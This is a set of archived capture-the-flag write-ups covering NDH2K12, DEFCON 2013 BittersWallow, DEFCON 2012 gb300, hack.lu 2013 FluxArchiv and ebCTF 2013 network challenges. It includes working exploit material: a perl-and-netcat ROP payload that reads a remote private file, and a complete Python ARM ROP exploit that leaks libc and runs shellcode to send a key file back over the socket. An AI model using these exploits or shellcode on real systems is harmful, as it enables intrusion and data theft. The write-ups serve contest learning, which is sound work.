NDH2K12 Prequals: web3.ndh writeup (port 4005)

Written by Franck Michea, 2012-03-25 00:41:00

This articles was originally written for LSE Blog with w4kfu. It was archived here. Check this awesome blog out too!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
From: Piotr <piotr@megacortek.com>
To: LSE <lse@megacortek.com>
Subject: Another weird link
Attachments : web3.ndh

Thank you again for these informations! we have just credited your account
with $1700. Our spy thinks that Sciteek staff is aware about the mole
inside their building. He is trying to read a private file named
"sciteek-private.txt" located at sciteek.nuitduhack.com:4005. Please find
the .ndh attached, if you are sucessfull, reply with a message entitled
"complex remote service".

Of course, your efforts will be rewarded with $2500. Maybe you will find
pieces of informations about the mole.

Piotr

As before, we can easily execute this .ndh file in the VM we have to understand the behavior of the program, but this time we also had an IDA plugin to help us.

Program will reserve 0x200 bytes for the receveid buffer, and setup a canary on the stack at offset 0x200 avoiding stack based buffer overflow. But the canary is always the same value 0xbeef, this protection will be easy to bypass.

An another protection has been setup on this challenge, NX byte, instead of service 4004, we won't be able to execute code from our buffer. We will use ROP technics, to bypass it.

We figured out an excellent sub function (like in service 4000) "disp_file_content".

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
ROM:8201 disp_file_content:
ROM:8201                 PUSH           R1
ROM:8204                 PUSH           R2
ROM:8207                 PUSH           R3
ROM:820A                 PUSH           R4
ROM:820D                 PUSH           R5
ROM:8210                 MOVL           R1, 0
ROM:8215                 CALL           SYSCALL_OPEN
ROM:8219                 CMPL           R0, $FFFF
ROM:821E                 JNZ            file_valid
ROM:8221                 XOR            R0, R0
ROM:8225                 POP            R5
ROM:8227                 POP            R4
ROM:8229                 POP            R3
ROM:822B                 POP            R2
ROM:822D                 POP            R1
ROM:822F                 RET
ROM:8230 ; ---------------------------------------------------------------------------
ROM:8230
ROM:8230 file_valid:                             ; CODE XREF: disp_file_content+1D
ROM:8230                 MOV            R3, R0
ROM:8234                 MOVL           R1, 0
ROM:8239                 MOVL           R2, $2
ROM:823E                 CALL           SYSCALL_FSEEK
ROM:8242                 MOV            R4, R0
ROM:8246                 INC            R4
ROM:8248                 MOV            R0, R3
ROM:824C                 MOVL           R1, 0
ROM:8251                 MOVL           R2, 0
ROM:8256                 CALL           SYSCALL_FSEEK
ROM:825A                 SUB            SP, R4
ROM:825E                 MOV            R5, SP
ROM:8262                 MOV            R0, R3
ROM:8266                 MOV            R1, SP
ROM:826A                 MOV            R2, R4
ROM:826E                 CALL           SYSCALL_READ
ROM:8272                 ADD            R4, R5
ROM:8276                 DEC            R4
ROM:8278                 MOVBT          R4, 0
ROM:827C                 MOV            R0, R5
ROM:8280                 CALL           write_socket
ROM:8284                 MOVB           R0, 1
ROM:8288                 INC            R4
ROM:828A                 SUB            R4, R5
ROM:828E                 ADD            SP, R4
ROM:8292                 POP            R5
ROM:8294                 POP            R4
ROM:8296                 POP            R3
ROM:8298                 POP            R2
ROM:829A                 POP            R1
ROM:829C                 RET
ROM:829C ; End of function disp_file_content

Before calling this function we have to set R0 correctly to the file required file name ("sciteek-private.txt").

We will use these simple gadgets to change the value of R0 and quit program correctly:

1
2
3
4
5
6
ROM:80BD                 POP            R0
ROM:80BF                 RET

[...]

ROM:838C                 END

Scheme of exploitation looks like:

1
[file_name] [NULL_PADDING] [POP_R0;RET] [ADDR_BUFF] [disp_file_content] [END]

Here is the final exploit :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
perl -e 'print "sciteek-private.txt" . "\x00"x493 . "\xef\xbe" . "\xbd\x80" . "\xf4\x7b" . "\x01\x82" . "\x8c\x83"' | nc sciteek.nuitduhack.com 4005

Dear Patrick,

We found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.

However, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business
, but one of them contains an archive with an explicit name.

We cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.

Sincerely,

David Markham.

DEFCON 2013 Quals: BittersWallow - Exploitation (0x41414141) 1

Written by Franck Michea, 2013-06-21 22:00:00

This articles was originally written for LSE Blog with Bruno Pujos. It was archived here. Check this awesome blog out too!

1
2
Score 1
Link http://assets-2013.legitbs.net/liabilities/bs

This binary was compiled for the ARM architecture, and our goal was to exploit it to get the "key" file on the remote server. The first part of the binary does the setup of all the common things found in pwnables, including:

  • opening a socket
  • identifying itself as a pre-define user (bitterswallow)
  • dropping privileges

The interesting part comes after, in a function called ff. The first thing it does is send some text:

1
2
Welcome to the sums.
Are you ready? (y/n):

And wait for an answer. It then compares it to 'y' or 'Y'. If the answer is different it simply closes the connection. Once this is done we enter a loop where two functions are called.

The first one waits for an input of one byte and then goes into a big switch according to this byte. All the cases but one come back to the same point (0xa114) where it waits for another user input which is the length of a future message. The length sent can't be over 0x400. The particular case, triggered with value 0x1a, doesn't check this and doesn't even ask for any length.

The pseudo C code for this function is :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int get_meta(int fd, int *input, int *value_get) {
    int choice;
    int value;
    long long int size;
    if (!input || !value_get || !recvdata(fd, &choice, 1))
        return 0;
    *input = choice;
    switch (choice & 0x3f) {
        case 0:
            value = 0x32444d; // Some value?
            break;
        // ...
        case 0x1a:
            goto last;
        // ...
        default:
            break;
    }

    if (!recvdata(fd, &size, 2))
        return 0;

    if (size > 0x400)
        size = 0x400;
    last:
    size = (size << 16) >> 16;
    *value_get = value;
    return size;
}

Then a second function is called. It receives data of the size returned by the first one in a buffer of 0x400, and then computes a hash (depending on the values chosen in the first function), except for the case 0x1a which doesn't compute the hash. It then sends this hash and asks if we want do all the loop again.

Here is the pseudo C code for this function :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int compute(int fd, int size, int input, int value_get) {
    int res_recv;
    char buf[0x400];
    char buf_hash[0x40];

    memset(buf, 0, 0x400);
    memset(buf_hash, 0, 0x40);

    printf("%x %x %x\n", size, input, value_get);
    recvdata(fd, buf, size);

    switch (input & 0x3f) {
        case 0 :
            res_recv = ...
            hash(buf, size, buf_hash);
            break;
        ...
        case 0x1a :
            res_recv = 0;
            break;
        ...
        default:
            break;
    }
    send_data(fd, buf_hash, res_recv);
    send_string(fd, "Would you like to sum another? (y/n): ");
    recvdata(fd, &res_recv, 1);
    if (res_recv == 'y' || res_recv == 'Y')
        return 1;
    else
        return 0;
}

In the caller of this function the loop will continue or it will stop. To exploit this function the goal is to change the size that returns the first function being used with the second one. Since the case 0x1a doesn't do any check, we will use it to return the false size and then rewrite our stack to use Return-Oriented-Programming.

To rewrite the size we can use the second function that writes on the same part of the stack, the content of size is in the same place than the end of the hash buffer.

So we need to: - do a normal computation that rewrites something at the place of size - do another iteration with the choice 0x1a and rewrite all our stack.

One of the problems that we need to take care of is not to have a value which is too big because we risk to rewrite all of our stack which can make our exploit fail.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
_recv("Welcome to the sums.\n")
_recv("Are you ready? (y/n): ")
_send("y")
_send(b"\x32") # case 50 : sha512
_send(b"\x00\x03") # send a size
_send("x" * 0x300) # send a value, with this we have a size of 0x7b3
while len(_recv(1024)) == 1024: # pass all the writing
    pass
_send("y") # say yes to do an other one
_send(b"\x1a") # case 0x1a : doesn't check the size
# Here we can send the data for rewritting our stack

At this point we can rewrite our stack but we don't have any address from the libc so we can't do a lot of things. There is no syscall in the binary so we can't do anything with full ROP yet.

The first thing to do is to leak some information on the libc, like an address from the GOT which gives us the information on where libc is mapped. We chose to leak the address of getpwnam (but any other function could work).

To leak the address of getpwnam we needed to call the send_data function (0x1d9fc) on the position of the entry for getpwnam in the GOT. The first arguments of a function in ARM are given through the registers r0, r1, r2 and R3, so we needed some gadget that takes values from the stack and puts them in the registers that we need. The gadget we used to do this is in __libc_csu_init:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
loc_1E3C4
    LDR R3, [R5], #4
    MOV R0, R6                      ; loc_1E3C8
    MOV R1, R7
    MOV R2, R8
    ADD R4, R4, #1
    BLX R3
    CMP R4, R10
    BNE loc_1E3C4

loc_1E3E4:
    LDMFD SP!, {R3-R8, R10, PC}

If we go to 0x1e3e4 we can put values in registers from r3 to r8, r10 and chose the position of return from our stack. In 0x1e3c8 we can copy the values from r6 to r8 in r0 to r2 (our first arguments) and then call the function stored in r3 and if we put the good value in r4 and r10 we will have our first gadget again. Note that if we need to make a call with some values in registers like r3 (something other than the function address), we can call our first gadget and have these values in the stack too (useful to call mmap).

So we now have everything we need to leak the address from the libc. Here is the code we used to do so:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import struct
import socket
import sys

HOST = 'bitterswallow.shallweplayaga.me'
PORT = 6492

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

def _send(st, end=b''):
    if isinstance(st, str):
        st = bytes(st, 'utf-8')
    st += end
    print('Send:', repr(st))
    return s.send(st)

def _recv(l):
    if isinstance(l, str):
        l = len(l)
    r = s.recv(l)
    if r:
        print('Recv:', repr(r))
    return r

def _pack(i):
    return struct.pack('<I', i)

def _unpack(b):
    return struct.unpack('<I', b)[0]

PIVOT_ADDR = 0x1e3e4
PIVOT2_ADDR = 0x1e3c8

SENDDATA_ADDR = 0x1d9fc
FF_ADDR = 0x8dfc

GETPWNAM_GOT_ADDR = 0x27114

SOCKET_FD = 4
USELESS = 0x46474849

# length of 8 int
def _call_func(addr, arg1, arg2, arg3):
    payload = _pack(addr)            # call addr.
    payload += _pack(0)              # counter loop (r4)
    payload += b'\x41' * 4           # padding.
    payload += _pack(arg1)           # first arg (r6)        (fd)
    payload += _pack(arg2)           # second arg (r7)       (data)
    payload += _pack(arg3)           # third arg (r8)        (length)
    payload += _pack(1)              # counter higher stone. (r10)
    payload += _pack(PIVOT2_ADDR)    # next addr (pc)
    return payload

def _send_bof(payload):
    p = b"a" * 0x440
    p += _pack(0x41424344)
    p += _pack(PIVOT_ADDR)
    p += payload
    p += b'y' * (0x7b3 - len(p)) # 0xe70
    _send(p)

def pass_menu():
    _recv("Welcome to the sums.\n")
    _recv("Are you ready? (y/n): ")
    _send("y")
    _send(b"\x32") # case 50 : sha512
    _send(b"\x00\x03") # send a size
    _send("x" * 0x300) # send a value, with this we have a size of 0x7b3
    while len(_recv(1024)) == 1024: # pass all the writing
        pass
    _send("y") # say yes to do an other one
    _send(b"\x1a") # case 0x1a : doesn't check the size

input('Ready?')

# Stage 1:
pass_menu() # we get pass the menu

payload = _call_func(SENDDATA_ADDR, SOCKET_FD, GETPWNAM_GOT_ADDR, 40)
payload += _call_func(FF_ADDR, SOCKET_FD, USELESS, USELESS)
_send_bof(payload) #we send our payload
_send("y") # we send this because we need a flush
addrs = _recv(38)
addrs = _recv(40)
addrs = _recv(40) # the four first char are the address of getpwnam in the libc

Now that we have the address of getpwnam, we can leak information from the libc.

At this point you have two possibilities: you can leak all the libc, compute the offset of a function compared to the address of getpwnam and call it (ret2libc). The other possibility is to leak part of the libc and find some gadgets in there to finish the exploitation with full ROP. We chose to try and search syscalls in the libc, so the second option.

When leaking the instructions from the libc we look for one particular instruction : a syscall (svc 0, opcode 0x000000ef)

We find this instruction in getpwnam implementation: the syscall was at the offset 428. (This offset changes depending on your libc so you should recompute them if you are not using the exact same libc). The gadget for the syscall is:

1
2
3
4
5
6
SVC 0
B loc_AAA
loc_AAA:
LDR R0, [SP, 0x14]
ADD SP, SP, 0x18
LDMFD SP!, {R4-R10, PC}

The gadget for the pop is : :::nasm LDMFD SP!, {R4-R10, PC}

In order to leak the offset we use the following code :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pass_menu()
print("Addr: ", addrs)
payload = _call_func(SENDDATA_ADDR, SOCKET_FD, _unpack(addrs[:4]), 4096)
payload += _call_func(FF_ADDR, SOCKET_FD, USELESS, USELESS)
_send_bof(payload)
_send("y")

while len(_recv(1024)) == 1024:
    pass
while len(_recv(1024)) == 1024:
    pass

CHUNK = 1024
r = _recv(CHUNK)
res = r
while len(r) == CHUNK:
    r = _recv(CHUNK)
    res += r
_send('y')
while len(r) == CHUNK:
    r = _recv(CHUNK)
    res += r
_send('y')
while len(r) == CHUNK:
    r = _recv(CHUNK)
    res += r

print(' RES:', res[:12])
for i in range(len(res) // 4):
    opcode = _unpack(res[i * 4:(i + 1) * 4])
    if opcode == 0xef000000: # looking for the syscall
        print('Found syscall opcode at offset:', i * 4)
        print('Buff:', res[i * 4:(i + 5) * 4])

_send("y")
while len(_recv(1024)) == 1024:
    pass
_send("y")
while len(_recv(1024)) == 1024:
    pass

Now that we have the offset of our gadget we can ROP. Our goal is to call mmap and then to read from our input into the allocated page and finally to execute it.

The following code will do that :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
MMAP_BUF_ADDR = 0x13371000

MMAP_SYSCALL = 192
READ_SYSCALL = 3

OFFSET = 428

GETPWNAM_ADDR = _unpack(addrs[:4])
print('getpwnam addr:', hex(GETPWNAM_ADDR))

pass_menu()
# jump to pivot addr and put some stuf in the register for the syscall
payload = _call_func(PIVOT_ADDR, MMAP_BUF_ADDR, 4096, 7)
payload += _pack(0x32) # some flag
payload += _pack(0x41424344) * 3 # padding
payload += _pack(MMAP_SYSCALL) # the number of the syscall is in r7
payload += _pack(0x41424344) * 2 #padding
payload += _pack(GETPWNAM_ADDR + OFFSET) # addr of the syscall
payload += _pack(0xffffffff) # padding
payload += _pack(0) * 12 # padding
payload += _pack(PIVOT_ADDR) # return addr
# pushing again for an other syscall
payload += _call_func(PIVOT_ADDR, SOCKET_FD, MMAP_BUF_ADDR, 4096) 
payload += _pack(0x41424344) * 4 # padding
payload += _pack(READ_SYSCALL) # the number of the syscall
payload += _pack(0x41424344) * 2 # padding
payload += _pack(GETPWNAM_ADDR + OFFSET) # addr of the syscall gadget
payload += _pack(0) * 13 # padding
payload += _pack(MMAP_BUF_ADDR) # the last return to our shellcode
_send_bof(payload)
_recv(1024)
_send('y')
_recv(1024)

At this point we only needed to send it the shellcode. We wrote one that was pretty simple :

  • open the file "key".
  • read its content.
  • write the buffer read on the socket.

Here is the final code for sending the shellcode and recv the result :

1
2
3
4
5
6
7
8
9
# sending shellcode.
# fd = open("key"); read(fd, addr_in_stack, 255); write(socket_fd, addr_in_stack, 255); 
shellcode = '0f00a0e1400080e20010a0e30570a0e3000000ef01dc4de201dc4de20d10a'
shellcode += '0e1ff20a0e30370a0e3000000ef0400a0e30d10a0e1ff20a0e30470a0e30'
shellcode += '00000ef01dc8de201dc8de26b65790000000000'
_send(bytes.fromhex(shellcode))

while _recv(1024):
    pass

You can find the complete exploit here.

DEFCON2K12 Prequals: gb300 writeup

Written by Franck Michea, 2012-06-05 18:29:07

This articles was originally written for LSE Blog. It was archived here. Check this awesome blog out too!

For this challenge, we had an IP, a port and a password. Like most of the other exercices, it was first waiting for the password and then sent us some stuff. Format of the datas was as follow:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
DD GOTP ATM sckimmer v0.0000001

Sun Jun -9 20:58:58

 4  2  3  1  2  3
 1  8  9  9  6  0
 7  6  0  7  8  4
 0  2  8  0  9  2
 7  3  6  8  6  3
 1  9  4  4  1  7
User entered: 1 4 8 3

The matrix thing was displayed 4 times with only 3 user inputs (linked to the 3 first matrices). We were asked to enter the right input for the last matrix.

While observing what was sent and trying to answer, one of us noticed that by stacking the matrices and the user inputs, we were generating lists of 4 and 3 values respectively. The user inputs lists could be matched with 4 of the matrices lists. The answer could then be obtained from the last value of the four matched lists. Sadly there was a timeout and it was really difficult to find the right answer in time by sight, so we decided to write a python script.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#! /usr/bin/env python2

import re
import sys
import socket

sckt = socket.create_connection(('140.197.217.85', 10435))

def discard(message):
    print sckt.recv(len(message) + 1)

COLOR = {'c': '\x1b\[\d+;\d+;\d+m'}
LINE = re.compile(
    '^%(c)s (\d) %(c)s (\d) %(c)s (\d) %(c)s (\d) %(c)s (\d) %(c)s (\d) %(c)s$' % COLOR
)
UINPUT = re.compile('^%(c)sUser entered: (\d) (\d) (\d) (\d) $' % COLOR)

def get_matrix(matrix):
    for nb_line in xrange(6):
        line = sckt.recv(89)
        if len(line) < 89:
            line += sckt.recv(89 - len(line))
        print line
        match = LINE.match(line)
        if match is None:
            sys.exit('Failed to parse number line.')
        else:
            for column in xrange(6):
                matrix[nb_line * 6 + column].append(int(match.group(1 + column)))

def get_user_input(user_input):
    line = sckt.recv(32)
    print line
    match = UINPUT.match(line)
    if match is not None:
        for x in xrange(4):
            user_input[x].append(int(match.group(1 + x)))

sckt.send('5fd78efc6620f6\n')

discard('\x1b[0;37;40m')
discard('DD GOTP ATM skimmer v0.0000001')

for _ in xrange(5): # [1]
    matrix = [[] for _ in xrange(36)]
    user_input = [[] for _ in xrange(4)]
    for x in xrange(4):
        if x != 3:
            discard('Sun Jun-10 20:58:58 2012')
            discard(' ')
        get_matrix(matrix)
        get_user_input(user_input)
        print matrix
        print user_input
        if x != 3: discard(' ')
        else:
            res = [0] * 4
            for it in xrange(4):
                inpt = user_input[it]
                for lst in matrix:
                    if lst[:-1] == inpt:
                        res[it] = lst[-1]
                        break
            result = '%d %d %d %d\n' % (res[0], res[1], res[2], res[3])
            print result,
            sckt.send(result)

After some loops it finally gave something that looked like a menu of a cash machine, the balance of the account, and closed the connection. The balance was the flag: 9238740982570237012935.32.

[1] for here is due to some tests we did to find how many times was necessary to win, but we didn't find it and since we already had the key we moved on after 5 minutes.

hack.lu 2013: FluxArchiv Write-up (both parts)

Written by Franck Michea, 2013-10-27 23:18:06

For this exercise with two parts (400 and 500 points), we were given too files: a binary named archiv and some data named FluxArchiv.arc. The two parts involved the same binary.

When running the binary with no options, it displays an usage message containing the different options possible. We have:

  • An option to list the files contained in the archive.
  • An option to add a file to the archive.
  • An option to extract a file from the archive.
  • An option to delete a file in the archive.

Every command takes at least the archive name and a password. The last three also take a filename.

If you want to try it, it was dumped here, thanks to Jonathan Salwan.

Part 1: Find the password

Sooo, the first part of the exercise requires us to find the password of the archive FluxArchiv.arc given. We started reversing the binary and noticed a first thing: Awesome, the symbols were not stripped! ... Well actually they were shuffled, which is not that good, but it is not a real problem either. In this write-up, We will always keep the wrong names, but explain what they actually do.

We started following the path in main that lists the files and followed the code to understand what is done to the password. This can be easily done by following parsing of the command line arguments.

The first function called on the password argument is incorrectly named checkHashOfPassword. It will initialize a global buffer of length 0x14 named hash_of_password (correctly) with the SHA-1 digest of the given password. This function is simple.

If we continue to follow the listing option, it then checks that it can access the archive file given, fopens it and then calls encryptDecryptData, that really only checks the magic number of the archive format, at position 0x0: FluxArhiv13.

If this went OK, it will then call verifyArchiv. This function will do the interesting thing for this part. It will check that our password is correct.

It first fseeks to offset 0xC, and then reads 0x14 from the archive: another SHA-1 digest. Then it will fill an internal buffer with a re-ordered version of hash_of_password. It will then take this buffer and calculate the SHA-1 digest of it. This digest is compared to the one read from the archive. If it matches, the password is good.

So, in summary, the password is good if sha1(reorder(sha1(password))) equals to the 20 bytes at offset 0xC in the archive.

The subject says that the humans who created the archive were drunk and decided to use a 6 character, upper-case or digit password. That is 2.176.782.336 passwords possible. That looks brute-force worthy.

We first wrote the reordering part (the one that calculates the source index) in python to compute them all. Once done, we decided to write something to brute-force the algorithm. The source code of the brute-forcer can be found here. With 8 threads, it takes 2 minutes and 30-something seconds to go through the whole password space on my i7, and outputs one password: PWF41L.

Part 1 solved. For those interested, the archive contains 3 images and one mp3 file. They are not really useful.

Part 2: Find more!

OK so now that we have the password we can decrypt the data. Yes, indeed, the data is encrypted with RC4, using hash_of_password as the key. The decrypt part is in the function sanitizeFilename. First interesting thing: it is called a lot, and it always resets RC4. So you can't decipher the whole archive in one shot. Damn, we must understand the format then.

The code is quite simple, but I am honestly bad at reverse engineering, so I decided to take this opportunity to try another approach for once: rewrite the program in C.

The complete source code can be downloaded here. It doesn't contain the whole program but only the parts I needed to understand what the program was doing and how to finish this part.

I started by scrolling the functions randomly and trying to understand the simple ones. One that was really useful was listAllFilesInArchiv.

First, we can see in it a pattern we will find a lot: read 8 bytes, decrypt it and reverse it in a value byte per byte. I called this function read_int in my C code, it reads a 64-bit integer and switches its endianness.

So the function reads two integers (a andb) and then starts to do the interesting thing: It will clear both with zeros. Then it clears a field of size 0x10, and then a field of size 0x60.

Another pattern we will find often is a loop for i from 0 to b excluded, seek to a, read the integer at that position and use it as next a, then clear it and continue. In short, a is the offset of the next block in a linked list of blocks, and the first block contains 4 fields, with the second one being the number of blocks. Later we discovered that this is necessary because the last block doesn't begin with an offset set to 0, but to some value to permit calculating its actual size. Here is the C:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void listAllFilesInArchiv(FILE* stream, unsigned int off) { // delete_file
    char ptr[0x8];
    uint64_t counter;
    uint64_t curpos;
    uint64_t nbblocks;
    uint64_t nextblock;

    fseek(stream, off, SEEK_SET);
    nextblock = read_int(stream);
    nbblocks = read_int(stream);
    fseek(stream, off, SEEK_SET);
    clear_data(stream, 8);
    clear_data(stream, 8);
    clear_data(stream, MD5_DIGEST_LENGTH);
    clear_data(stream, FILENAME_SZ);
    for (counter = 0; counter < nbblocks; ++counter) {
        fseek(stream, nextblock * 1040 + 0x20, SEEK_SET);
        curpos = ftell(stream);
        nextblock = read_int(stream);
        fseek(stream, curpos, SEEK_SET);
        clear_data(stream, 8);
    }
}

The second interesting thing about this function is that it is called on delete (we can see it from command parsing). So an interesting thing rises: if a file was added and then deleted, its data is still present in the archive. It is only deleted from the listing and its blocks are considered "free".

The offset given to it comes from extractFileFromArchiv. This function starts by seeking to offset 0x20, so just after the global magic + the SHA-1 for the password. It checks a magic ("FluXL1sT"), then reads an integer and then checks for 8 structures of 128 bytes. This is the index! The integer read, if not null, is a link to the next list of 8 files (still beginning by the magic).

Now we have enough to use my technique to find the unused blocks, but I actually rewrote the complete file listing and extraction to make sure I did it correctly. I then basically logged every block used: all blocks used are 1040 bytes long (this is why we have 8 entries of 128 bytes). I then compared it to the possible list of blocks and just decrypted these blocks. The key was in block at address 0x28a20 + 0x8:

1
2
3
4
5
6
7
$ python hacklu2013-fluxarchiv-unused-blocks.py logs
Found unused block: 0x28200
Found unused block: 0x28610
Found unused block: 0x28a20
[...]
$ python hacklu2013-fluxarchiv-decrypt.py 0x28a28 0x410
b"[...] alike.\n\n+++The Mentor+++\n\nFlag: D3letinG-1nd3x_F4iL\n\n[...]"

Example logs here.

Conclusion

I didn't finish the second part in time to have the points. I actually used techniques that took a lot of time, and I was quite slow anyway. My goal was not productivity. I took the first part as an opportunity to check that I remembered how to use pthread and the second part as a good example to try another technique for reverse engineering I never used before. Although it was a "slow" technique, it really helped me organise my thoughts and test/fetch data (like the offsets of used blocks, even though it was possible without).

It was interesting to see. Next time will be for speed!

ebCTF 2013: Network challenges: NET100, NET200, NET300

Written by Franck Michea, 2013-08-04 20:00:00

This articles was originally written for LSE Blog with hakril and colona. It was archived here. Check this awesome blog out too!

NET100: index.php?-s: Post-attack network log analysis

1
2
OMG, Eindbazen got hacked. Can you figure out what this evil hacker did?
http://ebctf.nl/files/da021f41e137fa42501586915d677752/net-100.pcap

For this first networking exercise, we will analyse network logs of an attack against Eindbazen to find what the attacker could do! We are given a clean pcap of the whole attack.

Part1: First look at the pcap file

First thing we can notice, is a long UDP "stream" between the attacker and the target. Just before the attack, a POST was done on the web server hosted by the target. You can find the uploaded php script here. We didn't spend too much time on it since it looked like a "command receiver on UDP", which was enough information to continue analysing the logs.

Part2: Interesting HTTP traffic

Apart from the UDP stream, we could notice kerberos and ssh traffic, not that interesting, and a GET from the target to the attacker, of a file named rootkit.zip, quite interesting! We fetched the file but it was password protected. Let's continue digging.

Part3: Interesting UDP stream commands

Back at the UDP stream, we searched for commands related to rootkit.zip and found this interesting part of the stream where we can see the zip file being unzip'ed. Follows what looks like commands to send the password to unzip command, letter by letter: alongpassword1234.

This password unlocked the zip file, in which we found a file flag.txt, containing "Instead of a rootkit we will just give you a flag: ebCTF{b78dc61ce895a3856f3520e41c07b1be}".

Done!

NET200: Who's there

1
2
We found this strange website.
http://54.216.81.14/

This website only contains:

1
112 + 386 + 712 + 1398 + 8771 + 11982 + 15397 + 23984 = 51037

After wondering a while what this addition was supposed to mean (especially since it was wrong and should give the result 62742), we noticed that all these numbers were in the valid port range. That’s when the semantic of this operation struck us: a collection of 8 ports giving a final port, this is exactly the principle of port-knocking.

The idea of this technique is to open a port only for a given client after he knockes to a pre-defined number of ports in the right order, which is only known by the server and the trusted users of the protected service.

So we can execute this first series with a simple netcat:

1
2
3
4
5
6
7
8
9
$ for port in 112 386 712 1398 8771 11982 15397 23984; do
>   netcat -v 54.216.81.14 $port
> done
netcat: unable to connect to address 54.216.81.14, service 112
netcat: unable to connect to address 54.216.81.14, service 386
[...]
netcat: ec2-54-216-81-14.eu-west-1.compute.amazonaws.com (54.216.81.14) 51037 [51037] open
So you are knocking me, how about I return the favor?
Repeat after me and I will open the last port...

Is it knocking us back and expecting we mimic it? We can confirm that with tcpdump:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# tcpdump -n -i eth0 'src host 54.216.81.14'
16:25:22.867635 IP 54.216.81.14.1337 > 163.5.55.17.8112: Flags [S], seq 0, win 8192, length 0
16:25:23.869346 IP 54.216.81.14.1337 > 163.5.55.17.33386: Flags [S], seq 0, win 8192, length 0
16:25:24.874334 IP 54.216.81.14.1337 > 163.5.55.17.14712: Flags [S], seq 0, win 8192, length 0
16:25:25.882108 IP 54.216.81.14.1337 > 163.5.55.17.4398: Flags [S], seq 0, win 8192, length 0
16:25:26.885593 IP 54.216.81.14.1337 > 163.5.55.17.1771: Flags [S], seq 0, win 8192, length 0
16:25:27.889869 IP 54.216.81.14.1337 > 163.5.55.17.52313: Flags [S], seq 0, win 8192, length 0
16:25:28.894443 IP 54.216.81.14.1337 > 163.5.55.17.25697: Flags [S], seq 0, win 8192, length 0
16:25:29.900296 IP 54.216.81.14.1337 > 163.5.55.17.932: Flags [S], seq 0, win 8192, length 0
16:25:30.905643 IP 54.216.81.14.1337 > 163.5.55.17.22222: Flags [S], seq 0, win 8192, length 0

OK, so let’s ping it on these exact same ports in that order. But this time, while the service was rejecting instantly all of our SYN TCP packets in the first series with a RST, for this new series, it seems to drop half of the packets and to reject the other half with RST. Thus, our previous super cool for-loop got stuck in the middle and caused the whole series to fail. So we just changed it to launch the netcat in background and it worked perfectly. This time the 22222 port replied with this message:

1
2
3
4
5
6
7
[Advanced]
    sequence    = 234,781,983,2411,9781,14954,23112,63991
    seq_timeout = 15
    command     = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 32154 -j ACCEPT
    tcpflags    = fin,urg,!ack
    cmd_timeout = 30
    stop_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 32154 -j ACCEPT

We recognized it was a chunk of configuration for the knockd daemon, which can be used to setup port-knocking on a UNIX host. It is easy to read, we just have to knock to another series of ports given by the sequence option with the appropriate TCP flags, specified by the tcpflags option, and we will be given access to the port 32154.

This time, we could not use netcat because it does not allow us to specify arbitrary TCP flags, but, since we already had a script ready for the NET300 challenge using Scapy, we also used it for this new series:

1
2
3
4
5
from scapy.all import *

ports = [234,781,983,2411,9781,14954,23112,63991]
for p in ports:
        print(send(IP(dst="54.216.81.14")/TCP(dport=p,flags="FU")))

And just connected normally to the final port which gave us the flag of this challenge:

1
2
3
$ netcat -v 54.216.81.14 32154
netcat: ec2-54-216-81-14.eu-west-1.compute.amazonaws.com (54.216.81.14) 32154 [32154] open
ebCTF{32c64f2542ba4566acff750196ca2e13}

NET300: Hop on a plane!

1
2
3
We found this website which uses a location based access control system.
Hop on a plane and hit all target zones!
http://54.212.115.245/

The content of the website

What we understood was that this service tries to locate us by pinging our IP from three servers located in the US, in Brazil and in Japan and display our approximate location on the map. The goal is to make that location change by delaying the ping replies we send back to these three servers and make it hop in each of the three circles on the map.

A few of us tried to look for ways to do that using iptables or the traffic control in the kernel but it was impossible with the first one and it took them a long time with the second one.

Meanwhile, we tried to use the scapy Python module to reply to the pings instead of the kernel. We first tried to prevent the kernel from answering, but dropping the ICMP packets with iptables didn’t work, apparently because the answering part is lower than iptables in the network stack of the Linux kernel in order to make these replies fast. So we decided to disable these replies globally by enabling the net.ipv4.icmp_echo_ignore_all.

Then, we wrote the Scapy script to respond to ping requests with fine adjustment of time.sleep() before our replies in function of which of the three servers we were replying. This script did work great but the results were really random due to network latency and probably our strange solution of replying to pings in userland. So now we had a plane that randomly wandered all over the map… ok great…

